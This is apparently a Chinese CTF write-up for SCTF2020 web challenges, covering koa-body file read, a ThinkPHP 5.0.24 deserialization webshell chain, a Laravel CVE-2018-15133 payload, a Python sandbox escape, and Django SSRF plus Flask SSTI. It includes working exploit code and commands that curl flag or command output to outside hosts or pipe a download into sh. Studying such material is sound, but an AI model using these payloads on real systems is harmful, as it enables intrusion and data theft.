SCTF2020 wp

越打越菜 :(
这次比赛难度相比上次RCTF的难度好了点。但是最后还是只能感慨自己tcl。做出来的只有CloudDisk跟UnsafeDefenseSystem.相比下solve比较多的pythonsandbox自己反而因为总觉得pyjail太老套不去研究,连下手都做不到......赛后还是把能复现的都复现下吧。

CloudDisk

Nodejs经典漏洞。其实因为最近练手出了些Nodejs的题目,现在感觉Node写起来巨舒服,估计暑假会长期练手一些node项目。

首先先不说题目本身,单从最近写nodejs应用express入手,发现express框架一个启用支持数据的写法:

const bodyParser = require('body-parser');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));

这里是表示我们的应用支持application/jsonapplication/x-www-form-urlencoded传输的数据.相信在post包时见过不少次了。而让我注意到这个问题的起因是在一次CTF比赛中。本来那题是Nodejs反序列化作为考点,但是我开始在随意测试时发现了另一个漏洞,不过因为不是正确思路就没深入。后来getshell时把源码拿下来仔细阅读,发现问题就是出在这上面。对于Nodejs而言,传输json数据是非常危险的一件事。因为Nodejs本身就是js的一个runtime环境,javascript的对象写法就是{"sth":"byc"}之类的。而json数据与这的格式一致性往往导致传输的数据会被进行混淆。一旦程序写法有了问题,就可能误取某个用户传输的值作为对象的属性,导致原型链污染,变量混淆,Nosql注入之类的。

回到题目。由于有源码,所以直接上手分析。当然由于Nodejs的特性,以及本题所执行的上传下载的过程,在依赖正常的情况下不可能出现注入,路径穿越之类的问题。只可能是文件读取了。那么问题出在哪呢

const file = ctx.request.body.files.file;
const reader = fs.createReadStream(file.path);
...
const upStream = fs.createWriteStream(filePath);

注意这里,它的取值是从ctx.request.body中取的。而这就有可能出现上面提到的问题。假如我们传输json数据files并置其path属性为任意文件。我们之后下载的文件就是服务器上的文件了。

故读取之

{"files":{"file":{"path":"/app/flag"}}}

后来根据队友教的应该是个koa-body的问题。难怪我本地当时连上传都跑不起来。因为是个2.x版本的koa.出题人不给package.json估计是怕一眼看出版本问题吧。

UnsafeDefenseSystem

说真的。这题这次真的是心态起伏最大的一题。说实话我们本来有拿下一血的机会的。结果因为小细节就导致自己浪费了数个小时。第一天晚上9点左右我们就已经在打tp5.0.24的反序列化了。结果一直就以失败告终,第二天才终于明白问题不是出在exp上.具体后面再说吧。

老实说这题整体脉络下来跟我平时渗透的思路很相似,所以在前面进度非常顺利,没有卡壳。

第一步是访问网址。发现作了个跳转。同时提醒了log.txt的存在.(就是因为我看掉了log.txt导致后面浪费的巨量时间,该打)

因为跳转到/public/test。所以直接访问这个路由。得到一个网页。随便点点后似乎是静态的。这时候果断切ctrl+u看源码,并且ctrl+f搜索php。看有没有动态文件存在。
果然在注释中找到了。

 

访问后发现是个auth的登录。但是任意用户密码都能进。不过毕竟我们收获了一个新路由/public/nationalsb/果断去这看看。

同样还是直接看网页源码,发现功能又是个静态的。但是有个js文件。点进去收获提示。

/username:Admin1964752
//password:DsaPPPP!@#amspe****
//Secret **** is your birthday

显然密码后四位要爆破。随便写个脚本出后四位好了。这种爆破量相比之前hackthebox的量已经非常友好。

最后爆出密码后缀1221.登录时的内容提示我们可以postfile.实验后是个lfi.不过显然做了处理,不能读取/flag跟带有log的(这里我以为是ban了login,但后来发现是ban了log...).那么基于这是个tp5.0.24.果断dump源码好了

现场下了个tp5.0.24的源码。最重要的肯定是控制器源码。所以读取application/index/controller/Index.php

";
    echo "You IP: ".$ip." has been recorded by the National Security Bureau.I will record it to ./log.txt, Please pay attention to your behavior";
    echo '';  
  }
  public function hello(){
    unserialize(base64_decode($_GET['s3cr3tk3y']));
    echo(base64_decode($_GET['s3cr3tk3y']));
  }
}

到确定是5.0.24的反序列化这一步时应该才9点没到。当时觉得一血到手了,结果果然自己还是tcl......因为以前郁离歌跟我们内部分享过tp5.0的链子。里面有好几个exp(还有linux/windows通杀的写文件exp,膜膜膜),加上队友也都复现过,所以心里开始底气很足。然而之后发现大问题,就是exp打过去怎么都没访问不到webshell。按理说题目三分钟重置,不应该出现这个问题的。结果就耗了好久。
中间换了个郁师傅的写文件夹的payload。发现可以成功创建文件夹(访问时403)。这也就说明public文件夹应该是有可写权限的,但我们换了几个exp没法访问写到自己建的文件夹下面的shell.愈加迷惑......

第二天上午还是几乎同样的境地,我们开始尝试把文件写到/tmp下,并且利用lfi直接包含,还是不行。按理说我以为lfi就是为了提供给web目录下不可写的情况getshell用的(其实确实可行,但当时我们不知道为什么就没成功)
期间考虑到rot13写入的payload会在短标签开启(默认的)情况下被死亡exit()。还按郁师傅的分享文章里提到的思路换了好几种payload。其实都成功了,但是就是没有访问到。

最后万般无奈下居然发现之前漏掉了一个log.txt.而里面的内容会提示我们创建了新文件


到这里我才明白原来之前写的文件都成功了。至于为什么访问不到,看到protect.py就明白了。它用的shutil库我原来在htb里用到过。常见于备份文件。这里执行了函数file_backup_remove(),file_backup()基本上就是秒删的作用。难怪之前没访问到......:(

知道这点后就没有难度了。直接py脚本传值,相当于条件竞争。
tp5.0.24的exp

tag = true;
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
            'data_compress' => false
        ];
    }
}

namespace think\session\driver;
use think\cache\driver\File;

class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}

namespace think\console;
use think\session\driver\Memcached;

class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}

namespace think\db;
use think\console\Output;

class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}

namespace think\model\relation;
use think\console\Output;
use think\db\Query;

class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}

namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;

abstract class Model {
}

class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;

    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}

namespace think\process\pipes;
use think\model\Pivot;

class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}

$obj = new Windows();
$payload = serialize($obj);
echo base64_encode($payload);
import requests

tmp_unserialize_payload="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NDp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjM2MDA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6NzA6InBocDovL2ZpbHRlci93cml0ZT1zdHJpbmcucm90MTMvcmVzb3VyY2U9L3RtcC88P2N1YyBAcmlueSgkX1RSR1tfXSk7Pz4iO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO3M6MToiMSI7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fXM6OToiACoAYXBwZW5kIjthOjE6e2k6MDtzOjg6ImdldEVycm9yIjt9czo3OiIAKgBkYXRhIjthOjE6e2k6MDtzOjM6IjEyMyI7fXM6ODoiACoAZXJyb3IiO086Mjc6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEhhc09uZSI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtpOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtyOjU7czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fX19czoxMToiACoAYmluZEF0dHIiO2E6MTp7aTowO3M6MzoiMTIzIjt9fX19fQ%3D%3D"
unserialize_payload="TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6NTp7czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YTo3OntpOjA7czo3OiJnZXRBdHRyIjtpOjE7czo0OiJpbmZvIjtpOjI7czo1OiJlcnJvciI7aTozO3M6NzoiY29tbWVudCI7aTo0O3M6ODoicXVlc3Rpb24iO2k6NTtzOjk6ImhpZ2hsaWdodCI7aTo2O3M6Nzoid2FybmluZyI7fXM6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6MTp7czoxMDoiACoAaGFuZGxlciI7TzoyMzoidGhpbmtcY2FjaGVcZHJpdmVyXEZpbGUiOjI6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NDp7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MTE3OiJwaHA6Ly9maWx0ZXIvY29udmVydC5pY29udi51dGYtOC51dGYtN3xjb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkalkyTW5YU2s3UHo0Zy8uLi8iO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czo2OiIAKgB0YWciO2I6MTt9fX1zOjk6IgAqAGFwcGVuZCI7YToxOntzOjQ6InRlc3QiO3M6ODoiZ2V0RXJyb3IiO31zOjc6IgAqAGRhdGEiO2E6MTp7czo3OiJwYW5yZW50IjtzOjQ6InRydWUiO31zOjg6IgAqAGVycm9yIjtPOjI3OiJ0aGlua1xtb2RlbFxyZWxhdGlvblxIYXNPbmUiOjU6e3M6NToibW9kZWwiO2I6MDtzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjk6IgAqAHBhcmVudCI7TjtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjc6e2k6MDtzOjc6ImdldEF0dHIiO2k6MTtzOjQ6ImluZm8iO2k6MjtzOjU6ImVycm9yIjtpOjM7czo3OiJjb21tZW50IjtpOjQ7czo4OiJxdWVzdGlvbiI7aTo1O3M6OToiaGlnaGxpZ2h0IjtpOjY7czo3OiJ3YXJuaW5nIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMTc6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRqWTJNblhTazdQejRnLy4uLyI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjY6IgAqAHRhZyI7YjoxO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19"
un_url='http://39.99.41.124/public/index.php/index/index/hello?s3cr3tk3y='

#
#r=requests.get(un_url+tmp_unserialize_payload)
r=requests.get(un_url+unserialize_payload)
r=requests.post('http://39.99.41.124/public/3b58a9545013e88c7186db11bb158c44.php',data={
    'ccc':"system('cat /flag');"
})
print(r.text)

最后再回过头解释下使用过滤器的原因吧。因为之前郁师傅实战中遇到了,所以有这两个坑点

  • short open tag

报错 Parse error: syntax error, unexpected 'rkvg' (T_STRING)

因为默认支持短标签的原因,由于

因此,要素其实就是绕过这个exit()。要想<,?不被识别。我们可以用string.strip_tags过滤器来解决。但是要让shell代码不被过滤。我们可以用convert.base64-decode过滤器来解决。所以要素就是两种过滤器搭配。但是这里需要解决的最重要的问题,就是base64解释器遇到等号就直接结束了。所以还要想办法让文件名中不出现=.

这里就可以使用php默认支持的iconv过滤器。优势在于,我们可以直接使用iconv这个shell命令支持的所有编码进行转换。
而之前我们在各种比赛中应该也接触过转码为utf-7的webshell了。比如XNUCA

+AD0-可以被base64过滤器解码,所以说我们就能成功写入shell了。

php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../

而且生成的文件名不会像rot13那样有奇怪的前缀。我们直接得到md5作为文件名的php。(值取决于你的file类中的$tag值,很多exp里就是true.所以算md5('tag_'+md5('1'))就行了)

当然因为base64是8byte解码。实际需要根据自己的payload补足a.当然最多补足4个就行。所以FUZZ下就能解决问题


所以说真的拉胯。还靠着郁师傅的老本以为占尽先机。却因为一些小细节走入误区。可能这就是渗透吧。

bestlanguage

我要是审过laravel5.8RCE以外的链子会是这个吊样.jpg.....第五空间的laravel因为审过链子所以直接秒了。这个因为没审过看都没看懂,属实拉胯。

其实就是CVE-2018-15133.因为.env里给了key所以就能直接打。
payload可以用第五空间的payload。因为以前在php框架练习中护网杯的非预期里提过这个链子了。所以就不深谈了。然后第五空间就是改了一个类的destruct。换了另一个类的destruct还能触发__get。这里可以用两个类都能用。

payload用ggc生成挺省事的。当然直接用之前rceexp的也可以

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"*listeners";a:1:{s:28:"curl 120.27.246.202/`whoami`";a:1:{i:0;s:6:"system";}}}s:8:"*event";s:28:"curl xxxxx/`cat /flag`";}

base64后联合key送给某cvephp即可。当然也能直接调用生成。
其他战队大佬的wp写的肯定比我好。我就不放exp了。

pysandbox 1&2

题目虽然是沙盒逃逸。但其实用的exp自己之前也用过.看官方wp用的当初tokyowestern的脚本倒是挺惊讶的。因为自己前不久做安恒比赛时也用过shrine那题的脚本。总之就是能直接fuzz出一条继承链,相当好用。

先来学习下dalao们的设置静态目录的做法

/?POST=%2f

cmd=app.static_folder=request.args[request.method]

设置静态目录为/
之后即可访问static/flag

然后就是RCE了。这里其实自己之前FUZZ过一次。就是用shrine那个脚本fuzz出一条获取app的链。

当然这里看到一个很简单的方法。分享下W4nder师傅的
http://phoebe233.cn/index.php/archives/53/#pysandbox2
因为ord是在builtins里的。所以我们可以直接覆盖。之后同理再覆盖掉路由函数。利用lambda匿名函数。非常巧妙。

如果是官方的思路,跟我一开始的想法应该差不多。道理就是函数劫持。当然前提是能获取到可控变量的模块。出题人找的是werkzeug.urls.url_parse。这里我也用shrine当时的脚本来fuzz下。

search.py

# search.py

def search(obj, max_depth):
    
    visited_clss = []
    visited_objs = []
    
    def visit(obj, path='obj', depth=0):
        yield path, obj
        
        if depth == max_depth:
            return

        elif isinstance(obj, (int, float, bool, str, bytes)):
            return

        elif isinstance(obj, type):
            if obj in visited_clss:
                return
            visited_clss.append(obj)
            print(obj)

        else:
            if obj in visited_objs:
                return
            visited_objs.append(obj)
        
        # attributes
        for name in dir(obj):
            if name.startswith('__') and name.endswith('__'):
                if name not in  ('__globals__', '__class__', '__self__',
                                 '__weakref__', '__objclass__', '__module__'):
                    continue
            attr = getattr(obj, name)
            yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
        
        # dict values
        if hasattr(obj, 'items') and callable(obj.items):
            try:
                for k, v in obj.items():
                    yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
            except:
                pass
        
        # items
        elif isinstance(obj, (set, list, tuple, frozenset)):
            for i, v in enumerate(obj):
                yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
            
    yield from visit(obj)

app.py

import flask
import os

from flask import request
from search import search

app = flask.Flask(__name__)

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/')
def shrine(shrine):
    for path, obj in search(request, 10):
        if str(obj)=="werkzeug.urls":
            return path

if __name__ == '__main__':
    app.run(debug=True)

这里因为要获取到werkzeug.urls这个类。所以改成if str(obj)=="werkzeug.urls"然后再本地跑起这个flask.访问下/shrine/这个路由+随便什么。方便它获取到request。这样就能返回一条利用链。

request.__class__._get_current_object.__globals__['ClosingIterator'].close.__globals__['uri_to_iri'].__globals__['__name__']

然后不能用引号当然只能是request.args绕过(跟上面一样)。使用request.host,request.headers之类的把要传的值放header里即可。劫持url_parse()获取函数eval()。然后后面url_parse因为直接处理路由。那就可以直接路由传命令RCE。
__import__('os').system('curl$IFSxxxxx|sh')

jsonhub

题目因为web1是django的原因,导致自己第一步不熟悉而直接断掉思路。后面的ssrf与ssti反而还有经验,应该属于自己不熟悉django的问题吧。

题目开始的参数注入

{"username":"byc_401","password":"123","is_staff":1,"is_superuser":1}

使用这两个字段应该是因为User模型的缘故。属于django默认的两个列名。
后台登录后拿到token


接下来是源码中一个需要利用cve绕过的部分。

white_list = ["39.104.19.182"]
...

def ssrf_check(url ,white_list):
    for i in range(len(white_list)):
        if url.startswith("http://" + white_list[i] + "/"):
            return False

...

def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

因为在web2存在明显的ssti,我们想要达成ssti必须要在这往127.0.0.1跑在8000的flask打一发。但是如果我们利用CVE-2018-14574这个任意url跳转,即可ssrf.

http://39.104.19.182//127%2e0.0.1:8000/rpc?methods=POST&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCAxMjAuMjcuMjQ2LjIwMi9gL3JlYWRmbGFnYCAnKVwiKX1cdTAwN2QifQ==

后面打flask的payload主要是解决{{的问题。因为它是通过get_json获取数据的,因此其实并不存在waf的问题。只要用unicode绕过即可。这点在Node.js跟php的json_decode()绕过时应该经常用到。

并且,由于web2获取的参数要求num1,2不能有小写字母。symbols必须能匹配到+\-*/之一。这个payload也直接绕过了waf.

{"num1":"","num2":"","symbols":"{\u007b [].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('curl xxxx/`/readflag` ')\")}\u007d"}

还可以用num1={,symbols={PAYLOAD},num2=}来解决问题。至于flask获取到含catch_warnings模组进而获取到eval的方法也是老生常谈。FUZZ下就好了。

小结

暂时先把wp放这些吧。争取明天自己再多复现下json_hub。因为刚好把htb的travel做完了,算是了却心头一件事。应该能抽空做些复现学习了。

关于最近的比赛心里其实一直有点难受。战队已经开始换届了,web新一届的学弟还没上来,但是平时在打比赛的web手已经几乎就只有我跟zjy了。每次xctf打到一半总感觉形单影只,相比人少而言更多的是感慨自己tcl。每次都会遇到感觉自己怎么没早点学的知识。心里过意不去。

不过毕竟打比赛是学习的过程,每次比赛确实都能接触到新姿势以及反思下自己的不足。现在既然到暑假了,是时候好好系统学习下新知识:
1.php: 一个是phpauditlabs争取每次都审一遍;然后laravel跟tp这样的框架过一下。其实wordpress也可以接触下,正好最近碰到了。
2.hackthebox: 不用做那么急,现役靶机剩下没做的基本上都是hard及以上难度了。可以慢慢来。
3.java: 几乎从零开始的java学习(我自己爬)
4.python: django的认识学习
5.Nodejs: 保持现状。多练手下Nodejs的开发

差不多就这样了。争取假期期间多更下文章总结知识。

你可能感兴趣的:(SCTF2020 wp)